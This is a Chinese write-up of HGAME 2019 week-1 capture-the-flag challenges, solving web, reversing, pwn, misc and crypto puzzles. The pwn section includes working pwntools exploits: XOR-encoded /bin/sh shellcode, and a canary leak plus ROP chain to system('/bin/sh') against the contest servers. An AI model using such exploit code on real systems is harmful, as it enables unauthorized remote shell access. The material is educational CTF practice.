HGAME 2019 week1


HGAME 2019 week1

感谢杭电的师傅们举办的精彩比赛!

谁吃了我的 flag

根据题目提示想到应该是 vim 代码泄露,直接访问

1
http://118.25.111.31:10086/.index.html.swp

下载到题目的源代码,在 linux 下使用命令 vim -r index.html.swp 即可还原出 flag。

flag: hgame{3eek_diScl0Sure_fRom+wEbsit@}

换头大作战

考察了 header 的一些知识点,打开网页在输入框中随便写一点东西然后点击提交
image
提示需要使用 post 方式提交,使用 hackbar 提交,之后又会提示需要添加 XFF 头,构造下面的请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /week1/how/index.php?want=yes HTTP/1.1
Host: 120.78.184.111:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://120.78.184.111:8080/week1/how/index.php?want=yes
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Content-Length: 8
Connection: close
Cookie: admin=0
Upgrade-Insecure-Requests: 1

want=yes

接着又提示要使用 waterfox 浏览器访问,将 User-Agent 最后的 Firefox/64.0 改成 Waterfox/50.0 即可
接着要求从 哔哩哔哩来到这个网站,修改 Referer 为 www.bilibili.com 即可。
最后一步要求我们是 admin,将cookie 改成 admin=1。

flag: hgame{hTTp_HeaDeR_iS_Ez}

very easy web

题目给出如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
include("flag.php");

if(strpos("vidar",$_GET['id'])!==FALSE)
die("<p>干巴爹</p>");

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
echo $flag;
}
highlight_file(__FILE__);
?>

意思是要提交一个 get 类型的参数 id,并且不能包含字符串 vidar,但是在 urldecode 之后是 vidar。
非常简单,我们将 vidar url编码两次,原因是服务器接受到参数之后会自动解码一次,然后代码中再解码一次。

1
http://120.78.184.111:8080/week1/very_ez/index.php?id=%2576%2569%2564%2561%2572

flag: hgame{urlDecode_Is_GoOd}

can u find me?

F12 找到另一个页面 f12.php,之后需要我们 post 一个密码,密码就在返回包的头部

1
password: woyaoflag

然后给出了一个链接,点进去说太快了,那么抓包再发送。

flag: hgame{f12_1s_aMazIng111}

brainfxxker

题目直接给了源代码,其实就是实现了一个 brainfuck 解释器,有关于 brainfuck 的语法在网上有很多。
分析给出的那段 brainfuck 代码就可以了,由于 “,” 是输入,所以把整个程序分成 9 段,每一段代表 flag 中的一个字符,通过上面的提示,使程序不输出任何内容的输入为正确的 flag,以第一段代码为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
,>++++++++++[<---------->-]<++[+.]

, 输入
> 指针后移
++++++++++ 循环变量设置为 10
loop:
[ 开始循环
< 指针左移一位(指向输入的字符)
---------- 输入的字符自减 10
> 指针右移一位(指向循环变量)
- 循环变量自减 1
] 判断是否结束
< 指针左移,指向输入的字符
++ 自增 2
loop: (要求这个循环不能执行)
[ 开始循环
+ 自增 1
. 输出字符
] 结束循环
逻辑: 输入一个字符,减去 100 再加 2, 最后要求等于零
x - 100 + 2 == 0 --> 98 --> b

每一段代码相当于实现了一个上面的方程,将 9 段代码全部分析出来之后即可得到 flag。

flag: hgame{bR4!NfUcK}

HelloRe

IDA 打开找到 flag。

flag: hgame{Welc0m3_t0_R3_World!}

わかります

这道题稍微有点费劲,关键代码如下
image

关键函数是中间的 sub_40078E 和 sub_400892。
本程序的基本逻辑是先将输入的 flag 进行两次不同的编码

1
2
3
4
5
for ( i = 0; i < len; ++i )
{
chunk1[i] = (flag[i] >> 4);
chunk2[i] = flag[i] & 0xF;
}

分别保存在两个局部变量中,接着进入关键函数,第一个函数实现的是两个矩阵相乘,结果保存在 v8 中,第二个函数实现的是矩阵相加,由于两个矩阵都是 6 阶方阵,所以运算也相对简单,根据下面的方程

1
2
3
enc_flag * token = dword_602120

enc_flag + token = dword_6021c0

现在 token 和最终的运算结果都已知,那么 flag 矩阵是可以求出的,求矩阵的方法有很多,我采取 Z3 进行约束求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from z3 import *
target1 = [122, 207, 140, 149, 142, 168,
95, 201, 122, 145, 136, 167,
112, 192, 127, 137, 134, 147,
95, 207, 110, 134, 133, 173,
136, 212, 160, 162, 152, 179,
121, 193, 126, 126, 119, 147]

token = [8, 1, 7, 1, 1, 0,
4, 8, 1, 2, 3, 9,
3, 8, 6, 6, 4, 8,
3, 5, 7, 8, 8, 7,
0, 9, 0, 2, 3, 4,
2, 3, 2, 5, 4, 0]

target2 = [16, 8, 8, 14, 6, 11,
5, 23, 5, 10, 12, 23,
14, 23, 19, 7, 8, 10,
4, 13, 22, 17, 11, 22,
6, 14, 2, 11, 18, 9,
5, 8, 8, 10, 16, 13]

chunk2 = [8, 7, 1, 13, 5, 11, 1, 15, 4, 8, 9, 14, 11, 15, 13, 1, 4, 2, 1, 8, 15, 9, 3, 15, 6, 5, 2, 9, 15, 5, 3, 5, 6, 5, 12, 13]

a = BitVec('a', 8)
b = BitVec('b', 8)
c = BitVec('c', 8)
d = BitVec('d', 8)
e = BitVec('e', 8)
f = BitVec('f', 8)

j = 0
k = 0
p = 0
for q in range(6):
solve((a >> 4) * token[k] + (b >> 4) * token[k + 6] + (c >> 4) * token[k + 12] + (d >> 4) * token[k + 18] + (e >> 4) * token[k + 24] + (f >> 4) * token[k + 30] == target1[j],
(a >> 4) * token[k + 1] + (b >> 4) * token[k + 6 + 1] + (c >> 4) * token[k + 12 + 1] + (d >> 4) * token[k + 18 + 1] + (e >> 4) * token[k + 24 + 1] + (f >> 4) * token[k + 30 + 1] == target1[j + 1],
(a >> 4) * token[k + 2] + (b >> 4) * token[k + 6 + 2] + (c >> 4) * token[k + 12 + 2] + (d >> 4) * token[k + 18 + 2] + (e >> 4) * token[k + 24 + 2] + (f >> 4) * token[k + 30 + 2] == target1[j + 2],
(a >> 4) * token[k + 3] + (b >> 4) * token[k + 6 + 3] + (c >> 4) * token[k + 12 + 3] + (d >> 4) * token[k + 18 + 3] + (e >> 4) * token[k + 24 + 3] + (f >> 4) * token[k + 30 + 3] == target1[j + 3],
(a >> 4) * token[k + 4] + (b >> 4) * token[k + 6 + 4] + (c >> 4) * token[k + 12 + 4] + (d >> 4) * token[k + 18 + 4] + (e >> 4) * token[k + 24 + 4] + (f >> 4) * token[k + 30 + 4] == target1[j + 4],
(a >> 4) * token[k + 5] + (b >> 4) * token[k + 6 + 5] + (c >> 4) * token[k + 12 + 5] + (d >> 4) * token[k + 18 + 5] + (e >> 4) * token[k + 24 + 5] + (f >> 4) * token[k + 30 + 5] == target1[j + 5],
a & 0xf == chunk2[p], b & 0xf == chunk2[p + 1], c & 0xf == chunk2[p + 2], d & 0xf == chunk2[p + 3], e & 0xf == chunk2[p + 4], f & 0xf == chunk2[p + 5])
j += 6
p += 6

#[f = 123, b = 103, a = 104, c = 97, d = 109, e = 101]
#[f = 110, b = 95, a = 49, c = 116, d = 104, e = 105]
#[f = 114, b = 95, a = 107, c = 77, d = 97, e = 116]
#[f = 95, b = 120, a = 49, c = 95, d = 105, e = 115]
#[f = 117, b = 101, a = 118, c = 114, d = 121, e = 95]
#[f = 125, b = 101, a = 115, c = 102, d = 53, e = 108]

#hgame{1_think_Matr1x_is_very_usef5l}

flag = [104,103,97,109,101,123,49,95,116,104,105,110,107,95,77,97,116,114,49,120,95,105,115,95,118,101,114,121,95,117,115,101,102,53,108,125]

qwer = ""
for q in flag:
qwer += chr(q)
print(qwer)

flag: hgame{1_think_Matr1x_is_very_usef5l}

r & xor

简单的异或加密,需要注意一点,由于 IDA 的解析问题,有一部分 token 不能显示出来,需要动态调试得到。

1
2
3
4
5
6
s = "hgame{Y0u_mayb3_need_th1s_0ne!!!!!}"
d = [0,0,0,0,0,0,1,0,7,0,92,18,38,11,93,43,11,23,0,23,43,69,6,86,44,54,67,0,66,85,126,72,85,30,0,0]
t = ""
for i in range(35):
t += chr(ord(s[i]) ^ d[i])
print(t)

flag: hgame{X0r_1s_interest1ng_isn’t_it?}

Pro的Python教室(一)

把代码中的 enc2 BASE64 解密即可。

flag: hgame{Here_1s_3asy_Pyth0n}

babysc

主函数代码不能正常 F5,提示有一处 call 分析失败,将它 nop 掉之后再 F5 ,得到如下伪代码

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[92]; // [rsp+0h] [rbp-60h]
int i; // [rsp+5Ch] [rbp-4h]

signal(14, (__sighandler_t)handle);
alarm(0xAu);
read(0, buf, 80uLL);
for ( i = 0; i <= 79; ++i )
buf[i] ^= i + 1;
return 0;
}

大概的意思就是把输入进行异或加密,最后的 call 应该是跳转到用户的输入继续执行。
先把输入的 shellcode 异或就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# coding=utf-8
from pwn import *

binary = "./babysc"
ip = "118.24.3.214"
port = 10000
local = 0

libc = ELF("./libc-2.23.so")
context(log_level="DEBUG", arch="amd64", os="linux")
if local == 1:
p = process(binary)
if local == 0:
p = remote(ip,port)

shellcode = "\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
new_shellcode = ""
for i in range(len(shellcode)):
new_shellcode += chr(ord(shellcode[i]) ^ (i + 1))
print(new_shellcode)
p.sendline(new_shellcode)
p.interactive()

flag: hgame{Baby_Baby_S0_E4ay!}

aaaaaaaaaa

连上去输入 100 个 a 就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# coding=utf-8
from pwn import *
import unlink

binary = "./babysc"
ip = "118.24.3.214"
port = 9999
local = 0

libc = ELF("./libc-2.23.so")
context(log_level="DEBUG", arch="amd64", os="linux")
if local == 1:
p = process(binary)
if local == 0:
p = remote(ip,port)

sleep(0.1)
p.sendline("a" * 100)
p.interactive()

flag: hgame{Aa4_4aA_4a4aAAA}

薯片拯救世界1

除了那些花里胡哨的东西之外,逻辑就是先把 flag 读取到一个全局变量里面,然后进入一个循环,要求我们输入 flag,并且使用 strncmp 函数和 flag 比较。
由于比较的字节数是由 strlen 确定的,可以通过控制输入长度来爆破 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# coding=utf-8
from pwn import *
import unlink

binary = "./CSTW"
ip = "118.24.3.214"
port = 10001
local = 0

libc = ELF("./libc-2.23.so")
# context(log_level="DEBUG", arch="amd64", os="linux")
if local == 1:
p = process(binary)
if local == 0:
p = remote(ip,port)

p.recvuntil("Ch1p Save The World--Chapter 1\n")
p.sendline()
p.recvuntil("...\n")
p.sendline()
p.recvuntil("魔王的封印在2000年后的今天终于被解开\n")
p.sendline()
p.recvuntil("人类又到了生死存亡的最后关头\n")
p.sendline()
p.recvuntil("——Ch1p\n")
p.sendline()

flag = "hgame{Ch1p_1s_"
token = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}"
for i in range(len(token)):
flag += token[i]
print("Trying: %s" % flag)
p.recvuntil("为此,大祭司必须念出当年约定的那串咒语——\n")
p.send(flag + "\x00")
result = p.recv(6)
if "......" in result:
flag = "hgame{Ch1p_1s_"
else:
print("FOUND : %s" % flag)
break
# p.interactive()

flag: hgame{Ch1p_1s_Awakking!}

Steins;Gate

这道题考察的东西比较多,类似闯关一样分成四关,第一关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 sub_4008F6()
{
char buf; // [rsp+0h] [rbp-40h]
int v2; // [rsp+30h] [rbp-10h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("To seek the truth of the world.");
read(0, &buf, 0x80uLL);
if ( v2 != 9011 )
exit(0);
return __readfsqword(0x28u) ^ v3;
}

要求 v2 == 9011,通过上面的 read 栈溢出控制 v2,但是不能直接控制返回地址,因为程序开启了 canary。
第二关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 sub_400958()
{
int v0; // ST0C_4
char buf; // [rsp+10h] [rbp-40h]
char v3; // [rsp+14h] [rbp-3Ch]
int v4; // [rsp+40h] [rbp-10h]
unsigned __int64 v5; // [rsp+48h] [rbp-8h]

v5 = __readfsqword(0x28u);
v4 = rand();
v0 = v4;
puts("Repeater is nature of man.");
read(0, &buf, 4uLL);
v3 = 0;
printf(&buf, &buf);
puts("You found it?");
read(0, &buf, 0x34uLL);
if ( v4 - 4660 != v0 )
exit(0);
return __readfsqword(0x28u) ^ v5;
}

通过格式化字符串漏洞泄露出 rand 出的数值,然后栈溢出控制 v4 满足要求。
第三关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 sub_400A00()
{
int v1; // [rsp+Ch] [rbp-24h]
char buf; // [rsp+10h] [rbp-20h]
char v3; // [rsp+15h] [rbp-1Bh]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Payment of past debts.");
read(0, &buf, 5uLL);
v3 = 0;
printf(&buf, &buf);
if ( v1 != 26214 )
exit(0);
return __readfsqword(0x28u) ^ v4;
}

这里通过动态调试发现,v1 的值正好在上一关中 buf 的范围内,所以在上一关就构造好 payload 满足这里的条件,之后利用 5 字节的格式化字符串漏洞泄露 canary。
最后一关和第一关一样,不同的是已经拿到了 canary,构造满足条件的 payload 然后栈溢出即可。
程序中有 system 函数

1
2
3
4
int __fastcall sub_400A76(const char *a1)
{
return system(a1);
}

只需要找一个 pop rdi, ret 的 gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# coding=utf-8
from pwn import *
import unlink

binary = "./SteinsGate"
ip = "118.24.3.214"
port = 10002
local = 0

libc = ELF("./libc-2.23.so")
context(log_level="DEBUG", arch="amd64", os="linux")
if local == 1:
p = process(binary)
if local == 0:
p = remote(ip,port)

p.recvuntil("What's your ID:")
p.sendline("/bin/sh\x00")
p.recvuntil("To seek the truth of the world.\n")
payload1 = "a" * 0x30 + p64(0x2333)
# gdb.attach(p)
p.send(payload1)
p.recvuntil("Repeater is nature of man.\n")
payload2 = "%7$p"
# gdb.attach(p)
p.send(payload2)
rand = int(p.recv(17),16) >> 28
log.info("Rand : %x" % rand)
p.recvuntil("You found it?\n")
payload3 = "aaaaaaaabbbbbbbbccccccccddddff\x00\x00eeeeeeeeffffffff" + p32(rand + 0x1234)
p.send(payload3)
p.recvuntil("Payment of past debts.\n")
# gdb.attach(p)
p.send("%11$p")
canary = int(p.recv(18),16)
payload4 = "a" * 0x30 + p64(0x2333) + p64(canary) + "b" * 8 + p64(0x0000000000400c73) + p64(0x602040) + p64(0x400a76)
p.recvuntil("To seek the truth of the world.\n")
# gdb.attach(p)
p.sendline(payload4)
p.interactive()

flag: hgame{El_PsY_C0NgrOO}

Hidden Image in LSB

简单的 LSB 隐写,用 stegsolve 打开就可以看到 flag。

flag: hgame{LSB_is_easy_for_u}

打字机

给出了两张图片
image

image

第一张看上去像某种打字机,然后打出了 flag,谷歌识图之后发现这个打字机是某部动画片里的?
在知乎上找到一篇文章
image

image

通过这两张图片慢慢看(猜)就能看(猜)出 flag。(打字机上印的是大写,而 flag 中有小写字母…)

flag: hgame{My_vi0let_tyPewRiter}

Broken Chest

压缩包题目,不能正常解压,用 010 editor 打开看到压缩包头部的 PK 变成了 OK,改回来之后再解压(密码在 winrar 右面的注释栏里面 S0mETh1ng_U5efuL),即可得到 flag。

flag: hgame{Cra2y_D1aM0nd}

Try

首先分析流量包,从里面提取出一个压缩包 dec.zip,解压后是另外一个带有密码的压缩包和 password.txt,提示密码是 hgame 后面跟着 8 个不知道是什么的字符。
猜测是 8 位数字,用 ZIP 密码破解工具的掩码模式破解出密码 hgame25839421
出来一张图片,binwalk 还可以从图片提取出来另一个压缩包,直接解压需要密码,使用 winrar 修复压缩包之后就可以正常解压了,最后得到一个 word 文档,将后缀名改成 zip 解压出来一堆文件,在 word 文件夹下的 document.xml 中找到 flag。

flag: hgame{59d28413e36019861498e823f3f41406}

Mix

摩斯密码 –> 十六进制转字符串 –> 栅栏密码解密 –> 凯撒密码解密

flag: hgame{E4sY_cRypt0}

perfect_secrecy!

提示 OTP 密码,即一次性密码本,银行的一些动态口令使用的就是 OTP 加密。
给出的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import binascii
import string
import random

def strxor(a, b):
return "".join(hex(x ^ y)[2:].zfill(2) for (x, y) in zip(a, b))


fp = open('poem.txt', 'rb')
flag = "*********************************"
strings = fp.readlines()
key = hex(random.randint(2**511, 2**512))[2:] # 从 2^511 到 2^512 取随机数 OTP 密钥
strs = [strxor(i[:-3], binascii.unhexlify(key)) for i in strings]
result = strxor(flag.encode('utf-8'), binascii.unhexlify(key))
print(strs)
print(result)

'''
output:
['daaa4b4e8c996dc786889cd63bc4df4d1e7dc6f3f0b7a0b61ad48811f6f7c9bfabd7083c53ba54',
'c5a342468c8c7a88999a9dd623c0cc4b0f7c829acaf8f3ac13c78300b3b1c7a3ef8e193840bb',
'dda342458c897a8285df879e3285ce511e7c8d9afff9b7ff15de8a16b394c7bdab920e7946a05e9941d8308e',
'd9b05b4cd5ce7c8f938bd39e24d0df191d7694dfeaf8bfbb56e28900e1b8dff1bb985c2d5aa154',
'd9aa4b00c88b7fc79d99d38223c08d54146b88d3f0f0f38c03df8d52f0bfc1bda3d7133712a55e9948c32c8a',
'c4b60e46c9827cc79e9698936bd1c55c5b6e87c8f0febdb856fe8052e4bfc9a5efbe5c3f57ad4b9944de34',
'd9aa5700da817f94d29e81936bc4c1555b7b94d5f5f2bdff37df8252ffbecfb9bbd7152a12bc4fc00ad7229090',
'c4e24645cd9c28939a86d3982ac8c819086989d1fbf9f39e18d5c601fbb6dab4ef9e12795bbc549959d9229090',
'd9aa4b598c80698a97df879e2ec08d5b1e7f89c8fbb7beba56f0c619fdb2c4bdef8313795fa149dc0ad4228f',
'cce25d48d98a6c8280df909926c0de19143983c8befab6ff21d99f52e4b2daa5ef83143647e854d60ad5269c87',
'd9aa4b598c85668885df9d993f85e419107783cdbee3bbba1391b11afcf7c3bfaa805c2d5aad42995ede2cdd82977244',
'e1ad40478c82678995df809e2ac9c119323994cffbb7a7b713d4c626fcb888b5aa920c354be853d60ac5269199',
'c4ac0e53c98d7a8286df84936bc8c84d5b50889aedfebfba18d28352daf7cfa3a6920a3c',
'd9aa4f548c9a609ed297969739d18d5a146c8adebef1bcad11d49252c7bfd1f1bc87152b5bbc07dd4fd226948397',
'c4a40e698c9d6088879397d626c0c84d5b6d8edffbb792b902d49452ffbec6b6ef8e193840',
'c5ad5900df8667929e9bd3bf6bc2df5c1e6dc6cef6f2b6ff21d8921ab3a4c1bdaa991f3c12a949dd0ac5269c']
'c2967e7fc59d57899d8bac852ac3c866127fb9d7f1e5b68002d9871cccb8c6b2aa'
'''

大概意思就是声明了一个随机数作为 OTP 的密钥,用同一个密钥将一首诗和 flag 进行加密。
google 一圈发现了几道类似的题目,基本思想是 OTP 虽然安全,但是如果一个密钥被用来加密许多明文的话,就面临很大的风险了,有一种攻击叫做 cribdrag,就是专门用来攻击 OTP 类似的密码的。
在 github 上面可以找到 cribdrag,但是用在这道题目上并不好使,我找到了另外一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/python
## OTP - Recovering the private key from a set of messages that were encrypted w/ the same private key (Many time pad attack) - crypto100-many_time_secret @ alexctf 2017
# @author intrd - http://dann.com.br/
# Original code by jwomers: https://github.com/Jwomers/many-time-pad-attack/blob/master/attack.py)

import string
import collections
import sets, sys

# 11 unknown ciphertexts (in hex format), all encrpyted with the same key
#ciphers = [c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11]
ciphers = ['daaa4b4e8c996dc786889cd63bc4df4d1e7dc6f3f0b7a0b61ad48811f6f7c9bfabd7083c53ba54',
'c5a342468c8c7a88999a9dd623c0cc4b0f7c829acaf8f3ac13c78300b3b1c7a3ef8e193840bb',
'dda342458c897a8285df879e3285ce511e7c8d9afff9b7ff15de8a16b394c7bdab920e7946a05e9941d8308e',
'd9b05b4cd5ce7c8f938bd39e24d0df191d7694dfeaf8bfbb56e28900e1b8dff1bb985c2d5aa154',
'd9aa4b00c88b7fc79d99d38223c08d54146b88d3f0f0f38c03df8d52f0bfc1bda3d7133712a55e9948c32c8a',
'c4b60e46c9827cc79e9698936bd1c55c5b6e87c8f0febdb856fe8052e4bfc9a5efbe5c3f57ad4b9944de34',
'd9aa5700da817f94d29e81936bc4c1555b7b94d5f5f2bdff37df8252ffbecfb9bbd7152a12bc4fc00ad7229090',
'c4e24645cd9c28939a86d3982ac8c819086989d1fbf9f39e18d5c601fbb6dab4ef9e12795bbc549959d9229090',
'd9aa4b598c80698a97df879e2ec08d5b1e7f89c8fbb7beba56f0c619fdb2c4bdef8313795fa149dc0ad4228f',
'cce25d48d98a6c8280df909926c0de19143983c8befab6ff21d99f52e4b2daa5ef83143647e854d60ad5269c87',
'd9aa4b598c85668885df9d993f85e419107783cdbee3bbba1391b11afcf7c3bfaa805c2d5aad42995ede2cdd82977244',
'e1ad40478c82678995df809e2ac9c119323994cffbb7a7b713d4c626fcb888b5aa920c354be853d60ac5269199',
'c4ac0e53c98d7a8286df84936bc8c84d5b50889aedfebfba18d28352daf7cfa3a6920a3c',
'd9aa4f548c9a609ed297969739d18d5a146c8adebef1bcad11d49252c7bfd1f1bc87152b5bbc07dd4fd226948397',
'c4a40e698c9d6088879397d626c0c84d5b6d8edffbb792b902d49452ffbec6b6ef8e193840',
'c5ad5900df8667929e9bd3bf6bc2df5c1e6dc6cef6f2b6ff21d8921ab3a4c1bdaa991f3c12a949dd0ac5269c']
# The target ciphertext we want to crack
target_cipher = "c2967e7fc59d57899d8bac852ac3c866127fb9d7f1e5b68002d9871cccb8c6b2aa"

# XORs two string
def strxor(a, b): # xor two strings (trims the longer input)
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b)])

# To store the final key
final_key = [None]*150
# To store the positions we know are broken
known_key_positions = set()

# For each ciphertext
for current_index, ciphertext in enumerate(ciphers):
counter = collections.Counter()
# for each other ciphertext
for index, ciphertext2 in enumerate(ciphers):
if current_index != index: # don't xor a ciphertext with itself
for indexOfChar, char in enumerate(strxor(ciphertext.decode('hex'), ciphertext2.decode('hex'))): # Xor the two ciphertexts
# If a character in the xored result is a alphanumeric character, it means there was probably a space character in one of the plaintexts (we don't know which one)
if char in string.printable and char.isalpha(): counter[indexOfChar] += 1 # Increment the counter at this index
knownSpaceIndexes = []

# Loop through all positions where a space character was possible in the current_index cipher
for ind, val in counter.items():
# If a space was found at least 7 times at this index out of the 9 possible XORS, then the space character was likely from the current_index cipher!
if val >= 7: knownSpaceIndexes.append(ind)
#print knownSpaceIndexes # Shows all the positions where we now know the key!

# Now Xor the current_index with spaces, and at the knownSpaceIndexes positions we get the key back!
xor_with_spaces = strxor(ciphertext.decode('hex'),' '*150)
for index in knownSpaceIndexes:
# Store the key's value at the correct position
final_key[index] = xor_with_spaces[index].encode('hex')
# Record that we known the key at this position
known_key_positions.add(index)

# Construct a hex key from the currently known key, adding in '00' hex chars where we do not know (to make a complete hex string)
final_key_hex = ''.join([val if val is not None else '00' for val in final_key])
# Xor the currently known key with the target cipher
output = strxor(target_cipher.decode('hex'),final_key_hex.decode('hex'))

print "Fix this sentence:"
print ''.join([char if index in known_key_positions else '*' for index, char in enumerate(output)])+"\n"

# WAIT.. MANUAL STEP HERE
# This output are printing a * if that character is not known yet
# fix the missing characters like this: "Let*M**k*ow if *o{*a" = "cure, Let Me know if you a"
# if is too hard, change the target_cipher to another one and try again
# and we have our key to fix the entire text!

#sys.exit(0) #comment and continue if u got a good key

target_plaintext = "cure, Let Me know if you a"
print "Fixed:"
print target_plaintext+"\n"

key = strxor(target_cipher.decode('hex'),target_plaintext)

print "Decrypted msg:"
for cipher in ciphers:
print strxor(cipher.decode('hex'),key)

print "\nPrivate key recovered: "+key+"\n"

print "hgame{OTP_is_not_safe_if_more_than_once}"

脚本解出来的 flag 是

1
*TP_:s_not_safe_if_more_tha&_once

把几个字符修复一下

flag: hgame{OTP_is_not_safe_if_more_than_once}

Base全家

给出一个很大的文件,里面是很多层编码嵌套起来的,推荐到这里解密。

flag: hgame{40ca78cde14458da697066eb4cc7daf6}